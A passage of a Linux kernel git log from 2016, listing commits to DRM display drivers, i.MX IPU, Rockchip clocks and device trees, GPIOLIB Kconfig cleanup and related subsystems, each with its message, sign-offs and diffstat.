bio_set_op_attrs() mm: make __swap_writepage() use bio_set_op_attrs() block/mm: make bdev_ops->rw_page() take a bool for read/write fs: return EPERM on immutable inode ramoops: use persistent_ram_free() instead of kfree() for freeing prz ramoops: use DT reserved-memory bindings NTB: ntb_hw_intel: use local variable pdev NTB: ntb_hw_intel: show BAR size in debugfs info ntb_test: Add a selftest script for the NTB subsystem ntb_perf: clear link_is_up flag when the link goes down. ntb_pingpong: Add a debugfs file to get the ping count ntb_tool: Add link status and files to debugfs ntb_tool: Postpone memory window initialization for the user ntb_perf: Wait for link before running test ntb_perf: Return results by reading the run file ntb_perf: Improve thread handling to increase robustness ntb_perf: Schedule based on time not on performance ntb_transport: Check the number of spads the hardware supports ... commit ee4fec5f44a2c0f59327748217319f78e49b90a7 Author: Wei Yongjun Date: Thu Jul 7 02:08:38 2016 +0000 memory: atmel-ebi: use PTR_ERR_OR_ZERO() to simplify the code Use PTR_ERR_OR_ZERO rather than if(IS_ERR(...)) + PTR_ERR. Generated by coccinelle. Signed-off-by: Wei Yongjun Signed-off-by: Alexandre Belloni drivers/memory/atmel-ebi.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit e46f48ad86f4483dfaa5947a7b7dbd4a63b0398a Author: Olivier Schonken Date: Tue Jul 5 10:05:50 2016 +0200 ARM: dts: at91: sama5d2: add ETM and ETB nodes Add node to support SAMA5D2 Embedded Trace Macrocell and Embedded Trace Buffer. This patch depends on coresight-etm3x: Add ARM ETM-A5 peripheral ID for proper coresight functionality. It also depends on clocksource: timer-atmel-pit: enable mck to not stall SAMA5D2 on bootup. Signed-off-by: Olivier Schonken Acked-by: Mathieu Poirier Acked-by: Boris Brezillon Signed-off-by: Alexandre Belloni arch/arm/boot/dts/sama5d2.dtsi | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit e729bbc19e18e559973d4ac0c0b1cf739acaa7f4 Author: Sergei Shtylyov Date: Thu Jun 30 00:20:18 2016 +0300 pinctrl: sh-pfc: Fix overly long lines The PORT_GP_CFG_() macros take up more than 80 columns -- and not for a good reason. Make the header file checkpatch.pl-proof at least in this respect... Signed-off-by: Sergei Shtylyov Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/sh_pfc.h | 95 ++++++++++++++++++++++++----------------- 1 file changed, 55 insertions(+), 40 deletions(-) commit 560655247b627ac74f5ec0c023b31c5a1f621a62 Author: Ulrich Hecht Date: Wed Jun 29 18:06:04 2016 +0200 pinctrl: sh-pfc: r8a7795: Add bias pinconf support Implements pull-up and pull-down. On this SoC there is no simple mapping of GP pins to bias register bits, so we need a table. Signed-off-by: Ulrich Hecht Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7795.c | 254 +++++++++++++++++++++++++++++++++-- 1 file changed, 242 insertions(+), 12 deletions(-) commit 3a2ad5028cf2cc3067c7d8bf7fab68d9c1c3c0e8 Author: Philipp Zabel Date: Fri Jul 22 12:43:04 2016 +0200 drm/imx: imx-ldb: use encoder atomic_mode_set callback Using atomic_mode_set instead of mode_set allows to access crtc and connector states in addition to the modes. This allows to remove the connector list walk. Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-ldb.c | 24 ++++++++++-------------- 1 file changed, 10 insertions(+), 14 deletions(-) commit fe4a11c935ca675021b30051f08f3c5ab066f5bb Author: Philipp Zabel Date: Fri Jul 22 12:20:47 2016 +0200 drm/atomic-helper: Add atomic_mode_set helper callback Some encoders need more information from crtc and connector state or connector display info than just the mode during mode setting. This patch adds an atomic encoder mode setting variant that passes the crtc state (which contains the modes) and the connector state. atomic_enable/disable variants that additionally pass crtc and connector state don't seem to be necessary for any current driver. mode_fixup already has an atomic equivalent in atomic_check. Signed-off-by: Philipp Zabel Reviewed-by: Daniel Vetter drivers/gpu/drm/drm_atomic_helper.c | 6 +++++- include/drm/drm_modeset_helper_vtables.h | 29 +++++++++++++++++++++++++++++ 2 files changed, 34 insertions(+), 1 deletion(-) commit 3ec2e506f98f8464798d11217617421368711e34 Author: Liu Ying Date: Fri Jul 29 14:00:21 2016 +0800 drm/imx: Remove imx_drm_handle_vblank() imx_drm_handle_vblank() is just a simple wrapper of drm_crtc_handle_vblank() without doing any thing fancy - drm_crtc_handle_vblank() can be called directly. So, let's remove the wrapper. Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 6 ------ drivers/gpu/drm/imx/imx-drm.h | 2 -- drivers/gpu/drm/imx/ipuv3-crtc.c | 2 +- 3 files changed, 1 insertion(+), 9 deletions(-) commit bc0a338750bb3940bf274c728a32f96da542dafc Author: Philipp Zabel Date: Wed Jul 30 14:10:51 2014 +0200 gpu: ipu-v3: Add missing IDMAC channel names This patch adds the remaining missing IDMAC channel names: VDIC channels for combining, the separate alpha channels for the MEM->IC and MEM->DC ASYNC channels, and the DC read, command, and output mask channels. Signed-off-by: Philipp Zabel include/video/imx-ipu-v3.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 88287ec3f88eb28df2c2db73659b859ff645fc42 Author: Steve Longerbeam Date: Tue Jul 19 18:11:11 2016 -0700 gpu: ipu-v3: rename CSI client device Rename the CSI client device in the client_reg[] table to "imx-ipuv3-csi". Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-common.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 58e366eb86e9d9e5ba4bc369daa04a8d8418d515 Author: Steve Longerbeam Date: Tue Jul 19 18:11:08 2016 -0700 gpu: ipu-v3: Fix IRT usage There can be multiple IC tasks using the IRT, so the IRT needs a separate use counter. Create a private ipu_irt_enable() to enable the IRT module when any IC task requires rotation, and ipu_irt_disable() when a task no longer needs the IRT. Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-ic.c | 40 +++++++++++++++++++++++++++++++--------- 1 file changed, 31 insertions(+), 9 deletions(-) commit ea6bead7ebd99bab1fcc5728beb4c3a791886d77 Author: Steve Longerbeam Date: Sun Jul 31 12:42:21 2016 -0700 gpu: ipu-v3: Fix CSI data format for 16-bit media bus formats The CSI data format was being programmed incorrectly for the 1x16 media bus formats. The CSI data format for 16-bit must be bayer/generic (CSI_SENS_CONF_DATA_FMT_BAYER). Suggested-by: Carsten Resch Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-csi.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit aede45b2f6cd995f9949297b0e3234f495ec93f1 Author: Steve Longerbeam Date: Tue Jul 19 18:11:06 2016 -0700 gpu: ipu-v3: set correct full sensor frame for PAL/NTSC Set the sensor full frame based on whether the passed in mbus_fmt is 720x480 (NTSC) or 720x576 (PAL). Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-csi.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 97afc25c4392105ea031e6f643f659058161c7dc Author: Steve Longerbeam Date: Tue Jul 19 18:11:05 2016 -0700 gpu: ipu-v3: Add VDI input IDMAC channels Adds the VDIC field input IDMAC channels. These channels transfer fields F(n-1), F(n), and F(N+1) from memory to the VDIC (channels 8, 9, 10 respectively). Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel include/video/imx-ipu-v3.h | 3 +++ 1 file changed, 3 insertions(+) commit 572a7615aeddc881057a4653658731c8bfac7d86 Author: Steve Longerbeam Date: Tue Jul 19 18:11:02 2016 -0700 gpu: ipu-v3: Add ipu_get_num() Adds of-alias id to ipu_soc and retrieve with ipu_get_num(). Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-common.c | 8 ++++++++ drivers/gpu/ipu-v3/ipu-prv.h | 1 + include/video/imx-ipu-v3.h | 1 + 3 files changed, 10 insertions(+) commit 03085911d7bbe1132977302fe45ec4efea29cd3d Author: Steve Longerbeam Date: Tue Jul 19 18:11:01 2016 -0700 gpu: ipu-cpmem: Add ipu_cpmem_get_burstsize() Adds ipu_cpmem_get_burstsize(). Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-cpmem.c | 6 ++++++ include/video/imx-ipu-v3.h | 1 + 2 files changed, 7 insertions(+) commit e5e8690ff0cd88e42153fbefcbfcbdb726a1a283 Author: Steve Longerbeam Date: Tue Jul 19 18:11:00 2016 -0700 gpu: ipu-cpmem: Add ipu_cpmem_set_uv_offset() Adds ipu_cpmem_set_uv_offset(), to set planar U/V offsets. Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-cpmem.c | 7 +++++++ include/video/imx-ipu-v3.h | 1 + 2 files changed, 8 insertions(+) commit 8892cc899e15fb896231539c902b813c3f7ab915 Author: Liu Ying Date: Mon Jul 18 15:44:24 2016 +0800 drm/imx: Remove imx_drm_crtc_id() There is no one calling imx_drm_crtc_id() and it is just a simple wrapper of drm_crtc_index() without doing any thing fancy - the drivers may call drm_crtc_index() directly. So, let's remove the wrapper. Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 6 ------ drivers/gpu/drm/imx/imx-drm.h | 2 -- 2 files changed, 8 deletions(-) commit 2fd911bc5b5e647902fd319cbf8c75f98555e188 Author: Liu Ying Date: Mon Jul 18 15:44:23 2016 +0800 drm/imx: Remove imx_drm_crtc_vblank_get/_put() There is no one calling imx_drm_crtc_vblank_get/_put() and they are just two simple wrappers of drm_crtc_vblank_get/_put() without doing any thing fancy - the drivers may call drm_crtc_vblank_get/_put() directly. So, let's remove the two wrappers. Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 12 ------------ drivers/gpu/drm/imx/imx-drm.h | 2 -- 2 files changed, 14 deletions(-) commit fafc79ef2e9148d0085585b6b71bc7154c14ebb6 Author: Lothar Waßmann Date: Tue Jul 12 15:30:03 2016 +0200 drm/imx: convey the pixelclk-active and de-active flags from DT to the ipu-di driver The 'de-active' and 'pixelclk-active' DT properties are evaluated by of_parse_display_timing() called from of_get_drm_display_mode(), but later lost in the conversion from videomode.flags to drm_display_mode.flags. Enhance of_get_drm_display_mode() to also return the bus flags in a separate variable, so that they can be passed on to the ipu-di driver. Signed-off-by: Lothar Waßmann Signed-off-by: Philipp Zabel drivers/gpu/drm/drm_modes.c | 5 ++++- drivers/gpu/drm/imx/imx-ldb.c | 9 ++++++++- drivers/gpu/drm/imx/parallel-display.c | 10 +++++++--- include/drm/drm_modes.h | 2 +- 4 files changed, 20 insertions(+), 6 deletions(-) commit d72daa0d75e8fe71368113350254b9da2c64b235 Author: Lothar Waßmann Date: Tue Jul 12 15:30:02 2016 +0200 drm: add a helper function to extract 'de-active' and 'pixelclk-active' from DT add a helper function to extract information about pixel clock and DE polarity from DT for use by of_get_drm_display_mode(). While at it, convert spaces to tabs in indentation in drm_modes.h. Signed-off-by: Lothar Waßmann Signed-off-by: Philipp Zabel drivers/gpu/drm/drm_modes.c | 15 +++++++++++++++ include/drm/drm_modes.h | 3 ++- 2 files changed, 17 insertions(+), 1 deletion(-) commit fcc60b413d14dd06ddbd79ec50e83c4fb2a097ba Author: Keith Packard Date: Sat Jun 4 01:16:22 2016 -0700 drm: Don't prepare or cleanup unchanging frame buffers [v3] When reconfiguring a plane position (as in moving the cursor), the frame buffer for the cursor isn't changing, so don't call the prepare or cleanup driver functions. This avoids making cursor position updates block on all pending rendering. v3: use drm_atomic_helper_framebuffer_changed in both prepare and cleanup phases instead of keeping state in the plane. cc: dri-devel@lists.freedesktop.org cc: David Airlie cc: Daniel Vetter Signed-off-by: Keith Packard [danvet: Rebase onto 4.8] Signed-off-by: Daniel Vetter drivers/gpu/drm/drm_atomic_helper.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit e6cebc7273d54259362c7e44a4134d829f38ac59 Author: Heiko Stübner Date: Fri Jul 29 15:56:55 2016 +0800 clk: rockchip: use general clock flag when registering pll Add the general flags the pll list already contains to the clock init, so that needed clock flags can be used for plls. Signed-off-by: Heiko Stübner drivers/clk/rockchip/clk-pll.c | 4 ++-- drivers/clk/rockchip/clk.c | 2 +- drivers/clk/rockchip/clk.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 4f4e0491670a2bc41887dc2c06782fa39e665d5c Author: Elaine Zhang Date: Tue Aug 2 15:22:49 2016 +0800 clk: rockchip: delete the CLK_IGNORE_UNUSED from aclk_pcie on rk3399 allow aclk_pcie and aclk_perf_pcie disabled when unused. Signed-off-by: Elaine Zhang Signed-off-by: Xing Zheng Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit efc4204cf7b0792374676219fefc0651a9ca1e27 Author: Xing Zheng Date: Tue Aug 2 15:22:26 2016 +0800 clk: rockchip: add 65MHz and 106.5MHz rates to rk3399 plls used for HDMI We need to add more clocks for supporting more display resolution for HDMI. Signed-off-by: Xing Zheng Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 2 ++ 1 file changed, 2 insertions(+) commit e7b47caf309727dc39ec94c3ea74bef4b2276faf Author: Shawn Lin Date: Fri Jul 15 09:10:05 2016 +0800 arm64: dts: rockchip: remove broken-cd from sdio0 commit 1ade61c141e2 ("arm64: dts: rockchip: remove broken-cd from emmc and sdio") was intended to remove the abuse of broken-cd property from mmc. But somehow it forgot to remove this property from sdio0 node. Let's remove it now. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3368-r88.dts | 1 - 1 file changed, 1 deletion(-) commit 6dcf4eabcfa483128c482844ee3149b04c0b7383 Author: Matthias Brugger Date: Fri Jul 15 12:09:51 2016 +0200 arm64: dts: rockchip: Add basic support for orion-r68 This patch adds basic support for the Tronsmart orion r86 set-top-box. Signed-off-by: Matthias Brugger Acked-by: Rob Herring Signed-off-by: Heiko Stuebner Documentation/devicetree/bindings/arm/rockchip.txt | 4 + arch/arm64/boot/dts/rockchip/Makefile | 1 + .../boot/dts/rockchip/rk3368-orion-r68-meta.dts | 382 +++++++++++++++++++++ 3 files changed, 387 insertions(+) commit 807a2371d3b31ef0a9e09fce55704b68bce771a5 Author: Elaine Zhang Date: Mon Jul 4 20:34:04 2016 +0800 arm64: dts: rockchip: add the power domain node for rk3399 In order to meet low power requirements, a power management unit (PMU) is designed for controlling power resources in RK3399. The RK3399 PMU is dedicated for managing the power of the whole chip. 1. add pd node for RK3399 Soc 2. create power domain tree 3. add qos node for domain From the DT/binds and driver can get more detail information: The driver: drivers/soc/rockchip/pm_domains.c The document: Documentation/devicetree/bindings/soc/rockchip/power_domain.txt Note: As the TRM lists many voltage domains and power domains, then this patch adds some domains for driver. Due to some domains (e.g. emmc, usb, core)...We can't turned off it on bootup, or says some device driver can't handle the power domain enough. Maybe We will add more other domains in the future or later. Signed-off-by: Elaine Zhang Signed-off-by: Caesar Wang Cc: linux-arm-kernel@lists.infradead.org Cc: linux-rockchip@lists.infradead.org Cc: Heiko Stuebner Reviewed-by: Douglas Anderson Tested-by: Douglas Anderson Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 178 +++++++++++++++++++++++++++++++ 1 file changed, 178 insertions(+) commit 546a3521f251462128d877e48fb3544c74976ce4 Author: Heiko Stuebner Date: Sat Mar 26 22:49:57 2016 +0100 ARM: dts: rockchip: move rk3288 usbphy under the GRF node The rk3288 usbphy is completely enclosed in the general register files and the updated binding allows it to be a subnode of the GRF now. So move the node appropriately. Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288.dtsi | 63 +++++++++++++++++++++---------------------- 1 file changed, 31 insertions(+), 32 deletions(-) commit 4421db1c2bb92592fc090a68deb0ad422e13a939 Author: Randy Li Date: Mon Jul 18 23:32:32 2016 +0800 ARM: dts: rockchip: add rk3288-firefly-reload The Firefly RK3288 Reload is a combination Firefly rk3288 core board with the Reload baseboard. Add a dtsi for the Firefly rk3288 core which can be included into the dts for the various baseboards in the future and dts for Reload base board. Currently supported are serial console, wired networking, eMMC and SD storage, SPFIF, IR receiver, LEDs, SDIO wifi and USB. But only the OTG could work on the host mode now, the other USB host can't work now, additional patches are required. Signed-off-by: Randy Li Acked-by: Rob Herring Signed-off-by: Heiko Stuebner Documentation/devicetree/bindings/arm/rockchip.txt | 4 + arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/rk3288-firefly-reload-core.dtsi | 338 +++++++++++++++++++ arch/arm/boot/dts/rk3288-firefly-reload.dts | 356 +++++++++++++++++++++ 4 files changed, 699 insertions(+) commit 0b1115bcbc9d28014c38e93c6c2cd9e1c3f6f69f Author: Xing Zheng Date: Thu Jul 7 18:01:12 2016 +0800 ARM: dts: rockchip: add dts for RK3288-Fennec boards This adds support for RK3288-Fennec boards. Currently supported are serial console, wired networking, hdmi output and USB. Signed-off-by: Xing Zheng Signed-off-by: Heiko Stuebner Documentation/devicetree/bindings/arm/rockchip.txt | 4 + arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/rk3288-fennec.dts | 382 +++++++++++++++++++++ 3 files changed, 387 insertions(+) commit f9fa05b60f5495cfd9bfb24ee3c2c139efb4a58c Author: Yakir Yang Date: Tue Jun 28 12:51:24 2016 +0800 ARM: dts: rockchip: add the panel power supply for rk3288-evb board with rk808 pmu Panel regulator is controller by a regulator of the rk808 pmic. Signed-off-by: Yakir Yang Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-evb-rk808.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 1752371e1335a3a820ed7b64a2b8386ff3157751 Author: Yakir Yang Date: Tue Jun 28 12:51:21 2016 +0800 ARM: dts: rockchip: add the panel power supply for rk3288-evb board with act8846 pmu Panel regulator is controller by a normal GPIO, so we need to write a regulator-fixed node for it. Signed-off-by: Yakir Yang Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-evb-act8846.dts | 4 ++++ 1 file changed, 4 insertions(+) commit d4da51213a2ce337cb98a468886d5b0bc1e45bcc Author: Yakir Yang Date: Tue Jun 28 12:51:18 2016 +0800 ARM: dts: rockchip: add eDP/panel display device nodes for rk3288-evb The default eDP panel on RK3288 EVB board is LG LP079QX1-SP0V TFT LCD, we haven't declared the panel regulator in the 'panel-simple' device node here, so the specific board like ACT8846 / RK8080 need to support the panel power supply. Signed-off-by: Yakir Yang Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-evb.dtsi | 45 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 44 insertions(+), 1 deletion(-) commit fa5386459f06dc3b9181d4c954f980b127d1a32f Author: Daniel Vetter Date: Wed Aug 3 21:11:10 2016 +0200 drm: Used DRM_LEGACY for all legacy functions Except for nouveau, only legacy drivers need this really. And nouveau is already marked up with DRIVER_KMS_LEGACY_CONTEXT as the special case. I've tried to be careful to leave everything related to modeset still using the DRIVER_MODESET flag. Otherwise it's a direct replacement of !DRIVER_MODESET with DRIVER_LEGACY checks. Also helps readability since fewer negative checks overall. Reviewed-by: David Herrmann Reviewed-by: Frank Binns Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470251470-30830-2-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_agpsupport.c | 6 ++---- drivers/gpu/drm/drm_auth.c | 2 +- drivers/gpu/drm/drm_bufs.c | 22 +++++++++++----------- drivers/gpu/drm/drm_context.c | 24 ++++++++++++------------ drivers/gpu/drm/drm_dma.c | 6 ++---- drivers/gpu/drm/drm_fops.c | 6 +++--- drivers/gpu/drm/drm_ioctl.c | 4 ++-- drivers/gpu/drm/drm_irq.c | 10 +++++----- drivers/gpu/drm/drm_lock.c | 4 ++-- drivers/gpu/drm/drm_pci.c | 8 ++++---- drivers/gpu/drm/drm_scatter.c | 6 +++--- 11 files changed, 47 insertions(+), 51 deletions(-) commit 3cbf6a5deb2f4a469de7a90a3cc169e8fcba95e2 Author: Daniel Vetter Date: Wed Aug 3 21:11:09 2016 +0200 drm: Mark up legacy/dri1 drivers with DRM_LEGACY It's super confusing that new drivers need to be marked with DRIVER_MODESET when really it means DRIVER_MODERN. Much better to invert the meaning and rename it to something that's suitably off-putting. Since there's over 100 places using DRIVER_MODESET we need to roll out this change without a flag day. v2: Update docs. Reviewed-by: Frank Binns Reviewed-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470251470-30830-1-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-internals.rst | 9 ++++++--- drivers/gpu/drm/i810/i810_drv.c | 4 +--- drivers/gpu/drm/mga/mga_drv.c | 2 +- drivers/gpu/drm/r128/r128_drv.c | 2 +- drivers/gpu/drm/savage/savage_drv.c | 2 +- drivers/gpu/drm/sis/sis_drv.c | 2 +- drivers/gpu/drm/tdfx/tdfx_drv.c | 1 + drivers/gpu/drm/via/via_drv.c | 2 +- include/drm/drmP.h | 1 + 9 files changed, 14 insertions(+), 11 deletions(-) commit aafdcfd3f9aa3c9f77ae4e9385f21bf9ae120d3e Author: Chris Wilson Date: Wed Aug 3 19:26:28 2016 +0100 drm: Declare that create drm_mm nodes with size 0 is illegal At a higher level, all objects are created with definite size i.e. 0 is illegal. In forthcoming patches, this assumption is dependent upon in the drm_mm range manager, i.e. trying to create a drm_mm node with size 0 will have undefined behaviour. Add a couple of WARNs upon creating the drm_mm node to prevent later bugs. Signed-off-by: Chris Wilson Reviewed-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470248788-30873-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/drm_mm.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit a3ccc461668951c14b7c656233b993f0dea326ce Author: David Herrmann Date: Wed Aug 3 20:04:25 2016 +0200 drm: rename DRM_MINOR_LEGACY to DRM_MINOR_PRIMARY The minor referred to by "DRM_MINOR_LEGACY" is called 'dev->primary' and gets 'cardX' as name assigned. Lets reduce this magnificent number of names for the same concept by one and rename DRM_MINOR_LEGACY to DRM_MINOR_PRIMARY (to match the actual struct-member name). Furthermore, this is in no way a legacy node, so lets not call it that. Signed-off-by: David Herrmann Reviewed-by: Frank Binns Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160803180432.1341-2-dh.herrmann@gmail.com drivers/gpu/drm/drm_drv.c | 14 +++++++------- include/drm/drmP.h | 4 ++-- 2 files changed, 9 insertions(+), 9 deletions(-) commit a787900564ffc6eebbcb7086b45e04a0bc3370f0 Author: Chris Wilson Date: Wed Aug 3 16:04:11 2016 +0100 drm: Skip initialising the drm_mm_node->hole_stack As we always add this to the drm_mm->hole_stack as our first operation, we do not need to initialise the list node. Signed-off-by: Chris Wilson Cc: David Herrmann Cc: dri-devel@lists.freedesktop.org Reviewed-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470236651-678-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/drm_mm.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit db2395eccf0829de5eb54625167f6cbc3faa1418 Author: Chris Wilson Date: Wed Aug 3 16:04:10 2016 +0100 drm: Convert drm_vma_manager to embedded interval-tree in drm_mm Having added an interval-tree to struct drm_mm, we can replace the auxiliary rb-tree inside the drm_vma_manager with it. Signed-off-by: Chris Wilson Cc: David Herrmann Cc: dri-devel@lists.freedesktop.org Reviewed-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470236651-678-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/drm_vma_manager.c | 43 ++++++++------------------------------- include/drm/drm_vma_manager.h | 2 -- 2 files changed, 9 insertions(+), 36 deletions(-) commit 202b52b7fbf70858609ec20829c7d69a13ffa351 Author: Chris Wilson Date: Wed Aug 3 16:04:09 2016 +0100 drm: Track drm_mm nodes with an interval tree In addition to the last-in/first-out stack for accessing drm_mm nodes, we occasionally and in the future often want to find a drm_mm_node by an address. To do so efficiently we need to track the nodes in an interval tree - lookups for a particular address will then be O(lg(N)), where N is the number of nodes in the range manager as opposed to O(N). Insertion however gains an extra O(lg(N)) step for all nodes irrespective of whether the interval tree is in use. For future i915 patches, eliminating the linear walk is a significant improvement. v2: Use generic interval-tree template for u64 and faster insertion. Signed-off-by: Chris Wilson Cc: David Herrmann Cc: dri-devel@lists.freedesktop.org Reviewed-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470236651-678-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/drm_mm.c | 133 +++++++++++++++++++++++++++++++++++++++-------- include/drm/drm_mm.h | 12 +++++ 2 files changed, 122 insertions(+), 23 deletions(-) commit 1d776851a6949abd85ba305514612fed16ff2459 Author: Rodrigo Vivi Date: Wed Aug 3 09:53:46 2016 -0700 drm: Avoid printing negative values for unsigned variables. It was really strange to see negative vblank seqs on debug messages. It is rare to have that big number, but when it happens it is confusing and misleading. Signed-off-by: Rodrigo Vivi Reviewed-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470243226-2750-1-git-send-email-rodrigo.vivi@intel.com drivers/gpu/drm/drm_irq.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 65053e1a7743e282c3dd08d3d435ac8b746f5359 Author: Linus Walleij Date: Tue Apr 19 13:40:17 2016 +0200 gpio: delete ARCH_[WANTS_OPTIONAL|REQUIRE]_GPIOLIB The GPIOLIB is now selectable explicitly, and always available for all archs. All archs that require GPIOLIB are switched to select GPIOLIB directly. Delete the hairy ARCH_REQUIRE_GPIOLIB and ARCH_WANTS_OPTIONAL_GPIOLIB Kconfig symbols. Cc: Michael Büsch Signed-off-by: Linus Walleij Documentation/gpio/board.txt | 6 +++--- Documentation/gpio/gpio-legacy.txt | 16 ++++------------ drivers/gpio/Kconfig | 21 --------------------- 3 files changed, 7 insertions(+), 36 deletions(-) commit 10e59a648812e380e6bee93f1218c9199fe84de2 Author: Linus Walleij Date: Tue Aug 2 09:42:45 2016 +0200 ARM: do away with final ARCH_REQUIRE_GPIOLIB A new user of the Kconfig selection of ARCH_REQUIRE_GPIOLIB has appeared. Replace with just selecting GPIOLIB. Acked-by: Arnd Bergmann Signed-off-by: Linus Walleij arch/arm/mach-clps711x/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e8919e964d50a11649bb50e4a34a9ca99016b47e Author: Linus Walleij Date: Tue Apr 19 11:12:36 2016 +0200 blackfin: do away with ARCH_REQUIRE_GPIOLIB Replace "select ARCH_REQUIRE_GPIOLIB" with "select GPIOLIB" as this can now be selected directly. Cc: Michael Büsch Cc: Steven Miao Cc: adi-buildroot-devel@lists.sourceforge.net Signed-off-by: Linus Walleij arch/blackfin/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da9a1c6767540a94a41f21cd13876890c1159e88 Author: Linus Walleij Date: Tue Apr 19 11:08:07 2016 +0200 arm64: do away with ARCH_[WANT_OPTIONAL|REQUIRE]_GPIOLIB This replaces: - "select ARCH_REQUIRE_GPIOLIB" with "select GPIOLIB" as this can now be selected directly. - "select ARCH_WANT_OPTIONAL_GPIOLIB" with no dependency: GPIOLIB is now selectable by everyone, so we need not declare our intent to select it. Cc: Michael Büsch Acked-by: Will Deacon Signed-off-by: Linus Walleij arch/arm64/Kconfig | 1 - arch/arm64/Kconfig.platforms | 12 ++++++------ 2 files changed, 6 insertions(+), 7 deletions(-) commit c5b7e97b27db4f8a8ffe1072506620679043f006 Author: Daniel Vetter Date: Mon Aug 8 09:37:31 2016 +0200 drm/i915: Update DRIVER_DATE to 20160808 Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 51a012b76267f2de8a0209ffdf91f67f3fb3ff42 Author: Tim Harvey Date: Wed Jun 29 06:31:03 2016 -0700 ARM: dts: imx: ventana: Add ext watchdog reset bc677ff42e81bbf78308a7b66cf7b63b0f5c26b0 adds a device-tree property to specify that an external watchdog reset is used to reset other portions of the board and not just the IMX6 SoC. This adds the property to the proper watchdog as well as the pinmux for the Gateworks Ventana boards that use this external watchdog reset to reset the PMIC which will reset all the PMIC power rails and not just a chip-level IMX6 reset. This helps to work around various system issues that can cause a hang when coming out of reset. Signed-off-by: Tim Harvey Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6qdl-gw51xx.dtsi | 12 ++++++++++++ arch/arm/boot/dts/imx6qdl-gw52xx.dtsi | 12 ++++++++++++ arch/arm/boot/dts/imx6qdl-gw53xx.dtsi | 12 ++++++++++++ arch/arm/boot/dts/imx6qdl-gw54xx.dtsi | 17 +++++++++++++++++ arch/arm/boot/dts/imx6qdl-gw551x.dtsi | 12 ++++++++++++ arch/arm/boot/dts/imx6qdl-gw552x.dtsi | 12 ++++++++++++ 6 files changed, 77 insertions(+) commit dc0a50a8411e2a3a3ca5a9d97581bbc5420c2687 Author: Yazen Ghannam Date: Wed Aug 3 10:59:15 2016 -0400 EDAC, amd64: Fix channel decode on Fam15hMod60h systems Fam15hMod60h systems are using the channel decode of Fam15hMod30h which gives incorrect results. Fam15hMod60h systems should use the generic channel decode method plus a couple more cases. Signed-off-by: Yazen Ghannam Cc: Aravind Gopalakrishnan Cc: linux-edac Link: 